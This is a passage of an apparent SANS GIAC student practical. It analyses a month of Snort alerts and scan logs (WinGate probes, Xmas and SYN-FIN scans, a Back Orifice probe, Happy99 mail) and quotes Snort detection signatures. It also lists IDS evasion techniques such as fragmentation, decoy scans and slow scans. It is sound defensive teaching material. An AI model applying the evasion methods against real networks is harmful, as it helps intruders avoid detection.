83.190.163.1 -> teste        TCP D=56597 S=64982     Ack=0 Win=512
....
Total length = 400 bytes
IP:   Identification = 4321
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 12920 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 1 (ICMP)
IP:   Header checksum = d14e
IP:   Source address = 190.231.0.91, 190.231.0.91
IP:   Destination address = 192.168.50.3, teste
IP:   No options
IP:
ICMP:  [380 byte(s) of data, continuation of IP ident=4321]

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 66 arrived at 21:11:32.75
ETHER:  Packet size = 414 bytes
ETHER:  Destination = 8:0:20:7d:51:f6, Sun
ETHER:  Source      = 0:60:8:14:f3:5,
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
```

```
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 400 bytes
IP:   Identification = 4321
IP:   Flags = 0x2
IP:         .0.. .... = may fragment
IP:         ..1. .... = more fragments
IP:   Fragment offset = 13296 bytes
IP:   Time to live = 255 seconds/hops
IP:   Protocol = 1 (ICMP)
IP:   Header checksum = d11f
IP:   Source address = 190.231.0.91, 190.231.0.91
IP:   Destination address = 192.168.50.3, teste
IP:   No options
IP:
ICMP:  [380 byte(s) of data, continuation of IP ident=4321]
```

This trace isn´t complete, because it´s so big

Assignment 3 - Analyze This

go to the top

The Log Analysis

This is a scenario:
Our organization has been asked to provide a bid to provide security services for GIAC Enterprises, a dot.com startup that sells electronic fortune cookie sayings. We have been provided with data a Snort system with a fairly standard rulebase for a month.
From time to time, the power has failed, or
the disk was full so we do not have data for all days.
Our task:
To analyze the data, be especially alert for signs of compromised systems or network problems and produce an analysis report.

Source of Trace:
Analysis of Snort Detects with a fairly standard rulebase for approximately one month.
SNORT ALERT LOGS: - Start 29 June 00 end 06 Aug 00
SNORT SCAN LOGS: - Start 30 June 00 end 10 Aug 00

ALARMS

01 - WINGATE 1080 SOCKS-PROBE

06/29-00:04:12.537578 [**] WinGate 1080 Attempt [**] 216.35.217.57:20 -> MY.NET.97.117:1080
06/29-05:23:27.156698 [**] WinGate 1080 Attempt [**] 200.51.33.202:3659 -> MY.NET.97.161:1080
06/29-05:23:30.111906 [**] WinGate 1080 Attempt [**] 200.51.33.202:3659 -> MY.NET.97.161:1080
06/29-05:23:30.655308 [**] WinGate 1080 Attempt [**] 200.51.33.202:3659 -> MY.NET.97.161:1080
06/30-00:04:07.966960 [**] WinGate 1080 Attempt [**] 207.114.4.46:1588 -> MY.NET.217.62:1080
06/30-00:08:50.259111 [**] WinGate 1080 Attempt [**] 216.176.130.250:1257 -> MY.NET.97.97:1080
06/30-00:16:37.167684 [**] WinGate 1080 Attempt [**] 168.120.16.250:42270 -> MY.NET.98.138:1080
.....
This is just a small snipet of the activity. There are many alarms like this.

IDSKEY	IDS175
CVE	1999-0290 / 0291 / 0441 / 0494
Event Description	This is a scan in the system to see if it is running SOCKS. This may be a hacker that desires to “bounce” traffic through your system at other people.It may also be a chat server trying to determine if someone is indeed bouncing through your system to chat anonymously. This attacker can be used to bounce their connections through the server, and make other connections that will then seen to come from the victim IP address. SOCKS is a system that allows multiple machines to share a common Internet connection.Several products support socks. A typical product for home user is WinGate. It is installed on a single machine that contains the actual Internet connection. All the other machines within the home connect to the Internet through the machine running WinGate. The problem is that it isn´t picky about the source and destination. Just as it allows internal machines access to the Internet, it possibly will allow Internet machines access the internal home network. It may allow a hacker access to other Internet machines through your system and the hacker will hide his/her true location. The attacks agains the victim appear to come from your machine, not from the real hacker.
Snort Signature	alert TCP $EXTERNAL any -> $INTERNAL 1080 (msg: "IDS175/socks-probe"; ack: 0; flags: S;)
Protocol	TCP
Source Port/	Any/

Destination Port	1080
False Positives	IRC chat servers will often scan clients for open WinGate SOCKS servers.
Categories	Pre-Attack Probe
Attacker Needs Response	Yes

02 - SunRPC Port 32771

06/29-09:17:54.124490 [**] Attempted Sun RPC high port access [**] 205.188.179.33:4000 -> MY.NET.105.2:32771
06/29-09:18:00.120504 [**] Attempted Sun RPC high port access [**] 205.188.179.33:4000 -> MY.NET.105.2:32771
06/29-09:22:01.424057 [**] Attempted Sun RPC high port access [**] 205.188.179.33:4000 -> MY.NET.105.2:32771
06/29-09:26:31.507772 [**] Attempted Sun RPC high port access [**] 205.188.179.33:4000 -> MY.NET.105.2:32771
06/30-13:27:17.743010 [**] Attempted Sun RPC high port access [**] 205.188.153.102:4000 -> MY.NET.144.42:32771
06/30-13:27:19.384667 [**] Attempted Sun RPC high port access [**] 205.188.153.102:4000 -> MY.NET.144.42:32771
06/30-13:27:24.367471 [**] Attempted Sun RPC high port access [**] 205.188.153.102:4000 -> MY.NET.144.42:32771
06/30-13:27:26.377569 [**] Attempted Sun RPC high port access [**] 205.188.153.102:4000 -> MY.NET.144.42:32771

This is just a small snipet of the activity. There are many alarms like this.

IDSKEY	IDS429 (portmap-listing-32771)
CVE	
Event Description	A query was sent to the rpcbind/portmap daemon on a solaris machine, requesting port information for rpc services. The RPC services in /etc/inetd.conf should be removed unless specifically required.
Snort Signature	alert TCP $EXTERNAL any -> $INTERNAL 32771 (msg: "IDS429/portmap-listing-32771"; flags: AP; rpc: 100000,*,*;)
Protocol	TCP
Source Port/ Destination Port	Any 32771
Protocol layer	Flags: ACK, PSH
Categories	Pre-Attack Probe
Attacker Needs Response	Yes

03 - Large UDP Packet

08/05-18:30:03.777730 [**] IDS247 - MISC - Large UDP Packet [**] 211.40.176.214:29536 -> MY.NET.98.179:6970
08/05-18:30:03.835886 [**] IDS247 - MISC - Large UDP Packet [**] 211.40.176.214:29536 -> MY.NET.98.179:6970
08/05-18:30:04.307531 [**] IDS247 - MISC - Large UDP Packet [**] 211.40.176.214:29536 -> MY.NET.98.179:6970
08/05-18:30:13.755720 [**] IDS247 - MISC - Large UDP Packet [**] 211.40.176.214:29536 -> MY.NET.98.179:6970
08/05-18:30:13.757070 [**] IDS247 - MISC - Large UDP Packet [**] 211.40.176.214:29536 -> MY.NET.98.179:6970
08/05-18:30:13.760533 [**] IDS247 - MISC - Large UDP Packet [**] 211.40.176.214:29536 -> MY.NET.98.179:6970

This is just a small snipet of the activity. There are many alarms like this.

IDSKEY	IDS247
CVE	
Event Description	An abnormally large UDP packet was detected. This may indicate a denial of service attack, or possible covert channels of communication such as backdoors, or control traffic for distributed denial of service attacks. Stateful UDP sessions are normally using small UDP packets, having a payload of not more than 10 bytes. Packets that are reasonable bigger are suspicious of containing control traffic.
Snort Signature	alert UDP $EXTERNAL any -> $INTERNAL any (msg: "IDS247/large-udp"; dsize: >800;)
Protocol	UDP
Source Port/ Destination Port	Any/ any
Protocol layer	Dsize > 800
False Positive	. May be abnormal DNS responses (large responses are usually carried over TCP) . Traffic from game servers; some game traffic may be indistinguishable from a UDP flood and sometimes it´s necessary to increase the threshold to 1200 bytes. It is better to block game traffic.
Categories	Suspicious
Attacker Needs Response	NO

04 - Probe-full_xmas_scan

Jul 24 19:23:26 24.51.106.188:1167 -> MY.NET.100.236:6346 INVALIDACK 21S***AU RESERVEDBITS
Jul 24 19:24:32 24.51.106.188:1167 -> MY.NET.100.236:6346 INVALIDACK *1**R*AU RESERVEDBITS
Jul 24 19:25:23 24.51.106.188:0 -> MY.NET.100.236:1167 NOACK 21S*RP*U RESERVEDBITS
Jul 24 19:26:39 24.51.106.188:1167 -> MY.NET.100.236:6346 UNKNOWN *1***PAU RESERVEDBITS
Jul 24 19:27:14 24.51.106.188:0 -> MY.NET.100.236:1167 INVALIDACK 2*SFRPA* RESERVEDBITS
Jul 24 19:28:15 24.51.106.188:1167 -> MY.NET.100.236:6346 NOACK ****RP**
Jul 24 19:34:13 24.51.106.188:0 -> MY.NET.100.236:1167 NOACK *1S*RP*U RESERVEDBITS
Jul 24 19:37:13 24.51.106.188:1167 -> MY.NET.100.236:6346 NOACK 2***RP*U RESERVEDBITS
Jul 29 00:04:35 24.164.30.224:10529 -> MY.NET.100.236:6346 FULLXMAS *1SFRPAU RESERVEDBITS
Jul 29 00:14:25 24.18.166.130:1963 -> MY.NET.100.236:6346 NOACK 21*FR**U RESERVEDBITS
Jul 29 00:15:34 130.102.196.124:2354 -> MY.NET.100.236:6346 NOACK *1SF*P** RESERVEDBITS
Jul 29 00:50:11 24.6.133.117:40335 -> MY.NET.6.39:143 INVALIDACK ***FR*A*
Jul 29 00:55:55 212.33.42.93:1055 -> MY.NET.100.236:6346 UNKNOWN 2***RPA* RESERVEDBITS
Jul 29 01:03:31 24.18.166.130:0 -> MY.NET.100.236:1963 NOACK *1*FRP*U RESERVEDBITS
Jul 29 01:03:43 24.18.166.130:1963 -> MY.NET.100.236:6346 NOACK ***FR**U
Jul 29 01:10:45 212.33.42.93:1055 -> MY.NET.100.236:6346 VECNA 2****P*U RESERVEDBITS
Jul 29 01:17:38 24.93.27.123:1302 -> MY.NET.100.236:6346 UNKNOWN 2***RPA* RESERVEDBITS
Jul 29 01:32:39 24.113.79.75:6699 -> MY.NET.98.166:2757 NULL ********
Jul 29 02:22:05 208.46.220.122:6688 -> MY.NET.98.166:1055 INVALIDACK 21SF*PA* RESERVEDBITS
Jul 29 02:24:31 208.46.220.122:0 -> MY.NET.98.166:6688 INVALIDACK 21SF*PA* RESERVEDBITS
Jul 29 02:29:00 208.46.220.122:6688 -> MY.NET.98.166:1055 INVALIDACK 21SF*PA* RESERVEDBITS
Jul 29 02:32:54 208.46.220.122:6688 -> MY.NET.98.166:1055 NULL ********
Jul 29 02:49:45 208.46.220.122:6688 -> MY.NET.98.166:1092 NMAPID 2*SF*P*U RESERVEDBITS
Jul 29 03:05:51 212.4.207.26:218 -> MY.NET.100.236:1462 NMAPID 2*SF*P*U RESERVEDBITS
Jul 29 03:07:17 212.4.207.26:1462 -> MY.NET.100.236:6346 INVALIDACK ****R*AU
Jul 29 03:21:13 212.4.207.26:155 -> MY.NET.100.236:1594 INVALIDACK **S*RPA*
Jul 29 03:25:33 212.4.207.26:255 -> MY.NET.100.236:1594 INVALIDACK ***FRPA*
Jul 29 03:28:02 192.168.0.2:1798 -> MY.NET.100.236:6346 INVALIDACK **S*RPA*

Jul 29 03:30:14 212.4.207.26:1594 -> MY.NET.100.236:6346 FULLXMAS 21SFRPAU RESERVEDBITS
Jul 29 03:35:59 212.4.207.26:1594 -> MY.NET.100.236:6346 XMAS 2**F*P*U RESERVEDBITS
Jul 29 03:36:41 161.184.167.9:1038 -> MY.NET.100.236:6346 FIN ***F****
Jul 29 03:36:50 24.18.166.130:0 -> MY.NET.100.236:1963 NOACK 2**FR**U RESERVEDBITS
Jul 29 03:44:14 24.18.166.130:1963 -> MY.NET.100.236:6346 NULL ********
Jul 29 03:44:15 24.18.166.130:1963 -> MY.NET.100.236:6346 INVALIDACK 2**FR*A* RESERVEDBITS
Jul 29 03:44:46 24.8.46.216:3673 -> MY.NET.100.236:6346 SPAU 2*S**PAU RESERVEDBITS
Jul 29 03:51:52 212.4.207.26:0 -> MY.NET.100.236:1594 SYN 2*S***** RESERVEDBITS
Jul 29 04:00:05 212.4.207.26:1594 -> MY.NET.100.236:6346 SYN 2*S***** RESERVEDBITS
Jul 29 04:08:34 212.4.207.26:1594 -> MY.NET.100.236:6346 FIN ***F****
Jul 29 04:17:39 24.8.46.216:26 -> MY.NET.100.236:3673 INVALIDACK 2*S*R*A* RESERVEDBITS
Jul 29 04:17:40 24.8.46.216:118 -> MY.NET.100.236:3673 NOACK ****RP**
Jul 29 04:23:17 24.8.46.216:1 -> MY.NET.100.236:3673 UNKNOWN *1****A* RESERVEDBITS
Jul 29 06:07:32 205.188.237.89:8080 -> MY.NET.98.196:1687 UNKNOWN *1**R*** RESERVEDBITS
Jul 29 06:13:33 207.171.37.127:62260 -> MY.NET.100.236:6346 UNKNOWN *1**R*A* RESERVEDBITS
Jul 29 06:15:44 207.171.37.127:62264 -> MY.NET.100.236:1068 NMAPID 2*SF*P*U RESERVEDBITS
Jul 29 06:16:38 207.171.37.127:62260 -> MY.NET.100.236:6346 UNKNOWN 2*****A* RESERVEDBITS
Jul 29 06:16:43 207.171.37.127:62260 -> MY.NET.100.236:6346 NMAPID 2*SF*P*U RESERVEDBITS
Jul 29 06:16:47 207.171.37.127:62260 -> MY.NET.100.236:6346 NOACK 2*SFRP** RESERVEDBITS
Jul 29 06:17:56 207.171.37.127:62260 -> MY.NET.100.236:6346 UNKNOWN *1S***A* RESERVEDBITS
Aug 8 14:54:38 132.205.201.12:1277 -> MY.NET.182.95:6699 INVALIDACK *1S*RPA* RESERVEDBITS
Aug 8 14:54:41 132.205.201.12:0 -> MY.NET.182.95:1277 NOACK *1S**P** RESERVEDBITS
Aug 8 14:54:49 132.205.201.12:1278 -> MY.NET.182.95:6699 NULL ********
Aug 8 14:54:51 132.205.201.12:0 -> MY.NET.182.95:1277 INVALIDACK *1S*RPA* RESERVEDBITS
Aug 8 14:54:53 132.205.201.12:1278 -> MY.NET.182.95:6699 NULL ********
Aug 8 14:54:54 132.205.201.12:1278 -> MY.NET.182.95:6699 INVALIDACK 21SF**AU RESERVEDBITS
Aug 8 14:54:57 132.205.201.12:1278 -> MY.NET.182.95:6699 INVALIDACK *1S*RPA* RESERVEDBITS
Aug 8 14:54:56 132.205.201.12:0 -> MY.NET.182.95:1277 INVALIDACK *1S*RPA* RESERVEDBITS
Aug 8 14:55:02 132.205.201.12:1277 -> MY.NET.182.95:6699 INVALIDACK *1S*RPA* RESERVEDBITS

Aug 8 14:55:08 132.205.201.12:1279 -> MY.NET.182.95:6699 SYN **S*****
Aug 8 14:55:10 132.205.201.12:1279 -> MY.NET.182.95:6699 VECNA *1***P** RESERVEDBITS

Some of these are with port source 0

IDSKEY	IDS144
CVE	
Event Description	Full XMAS Scan is a very suspicious packet. All flags in the TCP packet: - On
Snort Signature	alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS144/probe-full_xmas_scan"; ack: 0; flags: SFAPUR;)
Protocol	TCP
Source Port/ Destination Port	Any/ any
Protocol layer Flags	SYN, FIN, ACK, URG, PSH, RST
False Positive	
Categories	Pre-Attack Probe
Attacker Needs Response	Yes
IDSKEY	IDS30 – PROBE-XMAS-SCAN
CVE	
Event Description	A TCP frame has been seen with a sequence number of zero and the FIN, URG, and PUSH bits are all set. A hacker may be scanning your system by sending these specially formatted frames to see what services are available, to future attack.
Snort Signature	alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS30/probe-xmas-scan"; ack: 0; flags: FPU;)
Protocol	TCP
Source Port/ Destination Port	Any/ any
Protocol layer Flags	FIN, URG, PSH
False Positive	
Categories	Pre-Attack Probe
Attacker Needs Response	Yes

05 – Syn-Fin scan

08/05-01:25:10.823849 [**] SYN-FIN scan! [**] 63.16.52.48:53 -> MY.NET.1.3:53
08/05-01:25:10.823943 [**] SYN-FIN scan! [**] 63.16.52.48:53 -> MY.NET.1.4:53
08/05-01:25:10.855862 [**] SYN-FIN scan! [**] 63.16.52.48:53 -> MY.NET.1.5:53

IDSKEY	IDS198
CVE	
Event Description	A TCP probe with SYN, FIN flags set in the header. It is a probe, likely as a part of single-packet OS detection.
Snort Signature	alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS198/SYN FIN Scan"; flags: SF;)
Protocol	TCP
Source Port/ Destination Port	Any/ any
Protocol layer Flags	 SYN, FIN
False Positive	
Categories	Pre-Attack Probe
Attacker Needs Response	Yes

06 – Back Orifice

07/12-17:16:32.897041 [**] Back Orifice [**] 202.159.46.234:31338 -> MY.NET.100.130:31337

IDSKEY	IDS397 (IDS398/399/188)
CVE	CAN-1999-0660
Event Description	Remote attacker has sent a probe to determine if the Back Orifice trojan is running on the server.
Snort Signature	alert UDP $EXTERNAL any -> $INTERNAL 31337 (msg: "IDS397/trojan-active-BackOrifice1-scan"; content: "|ce63 d1d2 16e7 13cf 38a5 a586|";)
Protocol	UDP
Source Port/ Destination Port	Any/ 31337
Categories	Pre-Attack Probe
Attacker Needs Response	Yes

07 – NMAP TCP ping

07/27-02:54:34.936909 [**] NMAP TCP ping! [**] 209.218.228.46:80 -> MY.NET.1.8:53
07/27-02:54:39.888327 [**] NMAP TCP ping! [**] 209.218.228.46:80 -> MY.NET.1.8:53
07/27-02:54:39.888376 [**] NMAP TCP ping! [**] 209.218.228.46:53 -> MY.NET.1.8:53

IDSKEY	IDS28
CVE	
Event Description	A remote attack has used the NMAP portscanning tool to probe the server to check if a host is reachable.
Snort Signature	alert TCP $EXTERNAL any -> $INTERNAL any (msg: "IDS28/probe-nmap_tcp_ping"; ack: 0; flags: A;)
Protocol	TCP
Source Port/ Destination Port	Any/ any
Categories	Pre-attack Probe
Attacker Needs Response	Yes

OTHER

08 – Napster – port 6699

981093 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.123.13:6699 -> MY.NET.151.33:1205
06/29-15:37:44.721798 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.123.13:6699 -> MY.NET.151.33:1205
06/29-15:37:53.266769 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.123.13:6699 -> MY.NET.151.33:1205
06/29-15:37:54.160732 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.123.13:6699 -> MY.NET.151.33:1205
06/29-15:37:58.316372 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.123.13:6699 -> MY.NET.151.33:1205
06/29-15:38:01.932467 [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.123.13:6699 -> MY.NET.151.33:1205

08/05-18:30:07.112277 [**] Napster 8888 Data [**] MY.NET.201.2:1463 -> 208.184.216.191:8888
08/05-18:30:07.201812 [**] Napster 8888 Data [**] MY.NET.201.2:1463 -> 208.184.216.191:8888

There are many false positives triggered by people accessing the Napster.com site and downloading audio files (MP3 files).
Napster is very popular and many people have probably been exposed by people looking for exploits.

Whith this Napster´s connection you´re sharing code and an IP address with other.

Correlations:

CAN-2000-0281 – Buffer overflow in the Napster client Beta 5 allows remote attackers to cause a denial of service via a long messages.
CAN-2000-0412 – The gnapster and Knapster clients for Napster do not properly restrict access only to MP3 files, which allows remote attackers to read arbitrary files from the client by specifying the full pathname for the file.

09 – Happy 99 Virus

07/19-04:28:40.867369 [**] Happy 99 Virus [**] 203.251.136.2:4985 -> MY.NET.253.42:25
07/26-07:50:56.700210 [**] Happy 99 Virus [**] 208.130.42.17:40221 -> MY.NET.6.34:25
08/05-11:22:48.017066 [**] Happy 99 Virus [**] 206.67.51.242:4889 -> MY.NET.6.47:25

In January/99, the Happy99.exe was posted as an attachment to several newsgroups and was sent to many email address. When an infected attachment is executed, the worm displays a fireworks graphic and the message, "Happy New Year 1999!!". It hen copies itself to the Windows/System folder under the name SKA.exe. If such a file does not already exist, the executable extracts a Ska.dll file from itself and places that .dll into the Windows/System folder. It also checks for the existence of a WSOCK32.SKA file in the Windows. If that file does not exist, the virus changes the name of the file WSOCK32.DLL to WSOCK32.SKA.
It then patches "Connect" and "Send" exports in the WSOCK32.DLL, allowing it to check for network activity. This file consists of a routine so that when the user connects to the Internet, the virus is activated.
If this virus is found on your system, delete the file SKA.EXE in the Windows/System folder. Also, replace the viral WSOCK32.DLL file with WSOCK32.SKA. Finally, be sure to locate and delete the original Happy99.exe.

Evidence:
Someone is sending a VIRUS to the Network.
Defensive Recommendation:
The network needs to provide protection against viruses and malicious code by:
Antivirus for Internet Gateways (http, ftp and e-mail)
Antivirus for Internal Mail Server
Antivirus for Desktop

ALARMS/EXPLOIT (some)

IP ADDRESS/NETWORK	TYPE
216.35.217/200.51.33 207.144.4/216.176.130 216.176.130/168.120.16	Wingate
205.188.179/	SunRPC
211.40.176/	Large UDP Packet
24.51.106/130.102.196/ 24.6.133/212.33.42/	Probe-full Xmas

24.93.27/24.113.79/ 208.46.220/212.4.207/ 161.184.167	
63.16.52	SYN-FIN
202.159.46	BackOrifice
209.218.228	NMAP TCP ping
212.179.123/208.184.216	Napster
203.251.136/208.130.42/ 206.67.51	Happy 99 Virus

Following System possibly compromised:

My.Net.99.51
07/17-00:58:49.894704 [**] WinGate 1080 Attempt [**] 24.189.238.21:1431 -> MY.NET.99.51:1080
07/17-00:58:50.442907 [**] WinGate 1080 Attempt [**] 24.189.238.21:1431 -> MY.NET.99.51:1080
07/17-00:58:50.970246 [**] WinGate 1080 Attempt [**] 24.189.238.21:1431 -> MY.NET.99.51:1080
07/17-00:58:51.502563 [**] WinGate 1080 Attempt [**] 24.189.238.21:1431 -> MY.NET.99.51:1080
07/28-05:44:51.442479 [**] WinGate 1080 Attempt [**] 207.114.4.46:1272 -> MY.NET.99.51:1080
08/05-19:03:45.522918 [**] IDS08 - TELNET - daemon-active [**] MY.NET.99.51:23 -> 24.25.111.117:1029

Numerous wingate attempt.
Telnet daemon active. It indicates successful connection has been established from outside local network. It is bad practice and It must be blocked.
Telnet is a very insecure protocol and it must be replaced with SSH, but no from outside local network.

My.Net.1.3

06:33:02.020859 [**] spp_portscan: PORTSCAN DETECTED from MY.NET.1.3 (THRESHOLD 7 connections in 2 seconds) [**]
06/29-06:33:02.909031 [**] spp_portscan: portscan status from MY.NET.1.3: 11 connections across 1 hosts: TCP(0), UDP(11) [**]
06/29-06:33:03.707215 [**] spp_portscan: End of portscan from MY.NET.1.3 (TOTAL HOSTS:1 TCP:0 UDP:11)
:10:53.432546 [**] spp_portscan: PORTSCAN DETECTED from MY.NET.1.3 (THRESHOLD 7 connections in 2 seconds) [**]
06/29-10:10:55.360027 [**] spp_portscan: portscan status from MY.NET.1.3: 12 connections across 1 hosts: TCP(0), UDP(12) [**]
06/29-10:10:58.028521 [**] spp_portscan: End of portscan from MY.NET.1.3 (TOTAL HOSTS:1 TCP:0 UDP:12) [**]
Aug 5 10:32:28 MY.NET.1.3:53 -> MY.NET.101.89:41898 UDP
Aug 5 10:32:28 MY.NET.1.3:53 -> MY.NET.101.89:41899 UDP
Aug 5 10:32:28 MY.NET.1.3:53 -> MY.NET.101.89:41900 UDP

Aug 5 10:32:29 MY.NET.1.3:53 -> MY.NET.101.89:41909 UDP
Aug 5 10:32:29 MY.NET.1.3:53 -> MY.NET.101.89:41910 UDP
Aug 5 10:32:29 MY.NET.1.3:53 -> MY.NET.101.89:41911 UDP
Aug 5 10:32:29 MY.NET.1.3:53 -> MY.NET.101.89:41912 UDP

Scan from My.Net.1.3 against it´s own network.
Evidence of compromised system.

My.Net.1.8

06/27-07:39:33.390475 [**] NMAP TCP ping! [**] 209.218.228.46:80 -> MY.NET.1.8:53
06/27-07:39:33.390629 [**] NMAP TCP ping! [**] 209.218.228.46:53 -> MY.NET.1.8:53
07/08-07:21:32.145547 [**] Attempted Sun RPC high port access [**] 64.27.29.2:2385 -> MY.NET.1.8:32771
07/08-07:33:06.203162 [**] Attempted Sun RPC high port access [**] 207.230.26.34:1295 -> MY.NET.1.8:32771
07/08-20:02:37.444826 [**] NMAP TCP ping! [**] 209.218.228.46:80 -> MY.NET.1.8:53

Reconnaissance thru NMAP and then SunRPC high port access was detect to My.Net.1.8; several alerts going to MY.NET.1.8

SUMMARY:

We can see three types of attacks, that this network (My.Net) was target:

Reconnaisance: numerous scans - TCP and UDP port scans;
SYN-FIN scan; Probe-Full Xmas scan; Probe-Xmas scan;Nmap ping;
Exploits: Intrude will take advantage of hidden features or bugs to gain access to the system: - backorifice
Denial-of-service (DoS) attacks: The intruder attempts to crash a service (or the machine): wintrinoo

There are numerous SYN floods; possible activity with virus and malicious code; Trojan signatures.
WatchList indicates past history of suspicious activity from Israel and Chine.
Snort logs : - The disk was full so we do not have data for all days. It is a problem, because when the database fills up, no more attacks will be discovered, or older attacks will be deleted and then no evidence exists anywhere that will point to the intruder.

RECOMMENDATIONS:

Provide protection against viruses and malicious code by Antivirus**;**
The networks from which the scan are originating should be considered hostile and blocked from further access to your system or contact administrators;
Consider disabling or blocking: RPC, Napsters, ICMP, port 1080

Assignment 4 – Analysis Process

go to the top

Describe the process that you used to analyze the data in assignment 3. If you used any special tools, please consider submitting screenshots, or examples of commands. You will only receive full credit for this section if you entry serves to allow future analysts to use your tips and tricks. This is the perfect opportunity for you to demonstrate mastery of intrusion analysis

Did not use any specific tools.
Data was imported into Word.
All data were accummulated into one final document and
It used to analyze the data.

The IDS is collecting enough information about the incidents to identify attacks.
But there are many problems because:
Hackers will be bouncing their attacks from another compromised system;
They will often employ IP address spoofing, which may appear as if attacks are coming from machines that aren´t even turned on.
Problems with network traffic loads: IDS´s have trouble keeping up with fully loaded segments. The average website has a frame size of around 180-bytes, which translates to about 50,000 packets/second on a 100-mbps Ethernet. Most IDS units cannot keep up with this speed.
Problems with TCP connections: IDS must maintain connection state for a large number of TCP connections.This requires extensive amount of memory.The problem is exacerbated by evasion techniques, often requiring the ids to maintain connection information even after the client/server have closed it.
Other state information include IP fragments, TCP scan information and ARP tables. These require extensive amount of memory.
Slow scans: - This is a problem, where the attacker scans the system very slowly. The IDS is unable to store that much information over that long a time, so is unable to match the data together.
Blind the sensor: - IDS are place alongside the networking stream, not in the middle.They cannot keep up with the high rates of traffic.
Blind the event storage (snow blind): The “nmap” port scanning tool contains a feature known as “decoy” scans. It scans using hundreds of spoofed source address as well as the real IP address of the attacker. A massive attack will spoofed address can always hide a real attack inserted somewhere inside. When the database fills up, no more attacks will be discovered, or older attacks will be deleted and then no evidence exists anywhere that will point to the intruder.
Denial of Service (DoS): The IDS is susceptible to such attacks as SYN floods and smurf attacks.Then during the attack, the intruder kills the IDS, then continues undetected.
Simple evasion:
. Fragmentation:- is the ability to break up a single IP packet into multiple smaller packets.Most intrusion detection systems do not have the ability to reassemble IP packets. Fragrouter tool can auto-fragment attacks in order to evade IDS. Some IDS can reassemble traffic.
. Avoiding defaults: - A hacker who successfully installs a backdoor can run standard protocols on non-default ports (Back Orifice uses port 31337, but some attackers can change its port)

. **Coordinated, low-bandwidth attacks**: -**Sometimes hackers get together and run a slow scan from multiple IP address. This make is difficult for an IDS to correlate the information.**
. Pattern change evasion: - Many IDS rely upon "pattern matching". Attack scripts have well know patterns, but can easily be evaded by simply changing the script.

Then , it is very important:

Firewalls, IDS, packet filter, AND ....

Should be sure the machines are configured right, with the latest patches and operation system version up to date;
Should be sure the Firewall and packet filter are configured right (blocked services that the network doesn´t need).
Do not install more services than you need.(Everything you don´t need is turned off).

References to assist in analysis:
http://www.sans.org
http://www.cve.mitre.org
http://www.securityfocus.com
http:/ www.robertgraham.com
http:/ packetstorm.security.com
http://www.acmebw.com
http://www.auscert.org.au
http://whitehats.com

Last Updated: January 20th, 2018

Upcoming Training

Las Vegas 2018 - SEC503: Intrusion Detection In-Depth	**Las Vegas, NV**	**Jan 28, 2018 - Feb 02, 2018**	**vLive**
SANS Las Vegas 2018	**Las Vegas, NV**	**Jan 28, 2018 - Feb 02, 2018**	**Live Event**
SANS London February 2018	**London, United Kingdom**	**Feb 05, 2018 - Feb 10, 2018**	**Live Event**
SANS Dallas 2018	**Dallas, TX**	**Feb 19, 2018 - Feb 24, 2018**	**Live Event**
Community SANS Baltimore SEC503	**Baltimore, MD**	**Mar 12, 2018 - Mar 17, 2018**	**Community SANS**
SANS Northern VA Spring - Tysons 2018	**McLean, VA**	**Mar 17, 2018 - Mar 24, 2018**	**Live Event**
SANS Secure Canberra 2018	**Canberra, Australia**	**Mar 19, 2018 - Mar 24, 2018**	**Live Event**
SANS 2018	**Orlando, FL**	**Apr 03, 2018 - Apr 10, 2018**	**Live Event**
SANS Abu Dhabi 2018	**Abu Dhabi, United Arab Emirates**	**Apr 07, 2018 - Apr 12, 2018**	**Live Event**
SANS London April 2018	**London, United Kingdom**	**Apr 16, 2018 - Apr 21, 2018**	**Live Event**
SANS Baltimore Spring 2018	**Baltimore, MD**	**Apr 21, 2018 - Apr 28, 2018**	**Live Event**
Baltimore Spring 2018 - SEC503: Intrusion Detection In-Depth	**Baltimore, MD**	**Apr 23, 2018 - Apr 28, 2018**	**vLive**
SANS vLive - SEC503: Intrusion Detection In-Depth	**SEC503 - 201805,**	**May 02, 2018 - Jun 14, 2018**	**vLive**
Community SANS Virginia Beach SEC503	**Virginia Beach, VA**	**May 07, 2018 - May 12, 2018**	**Community SANS**
SANS Security West 2018	**San Diego, CA**	**May 11, 2018 - May 18, 2018**	**Live Event**
SANS Oslo June 2018	**Oslo, Norway**	**Jun 18, 2018 - Jun 23, 2018**	**Live Event**
SANS Minneapolis 2018	**Minneapolis, MN**	**Jun 25, 2018 - Jun 30, 2018**	**Live Event**
SANSFIRE 2018	**Washington, DC**	**Jul 14, 2018 - Jul 21, 2018**	**Live Event**
Security Operations Summit & Training 2018	**New Orleans, LA**	**Jul 30, 2018 - Aug 06, 2018**	**Live Event**
SANS San Antonio 2018	**San Antonio, TX**	**Aug 06, 2018 - Aug 11, 2018**	**Live Event**
Community SANS Columbia SEC503	**Columbia, MD**	**Aug 13, 2018 - Aug 18, 2018**	**Community SANS**
SANS Virginia Beach 2018	**Virginia Beach, VA**	**Aug 20, 2018 - Aug 31, 2018**	**Live Event**
SANS Tokyo Autumn 2018	**Tokyo, Japan**	**Sep 03, 2018 - Sep 15, 2018**	**Live Event**
SANS OnDemand	**Online**	**Anytime**	**Self Paced**
SANS SelfStudy	**Books & MP3s Only**	**Anytime**	**Self Paced**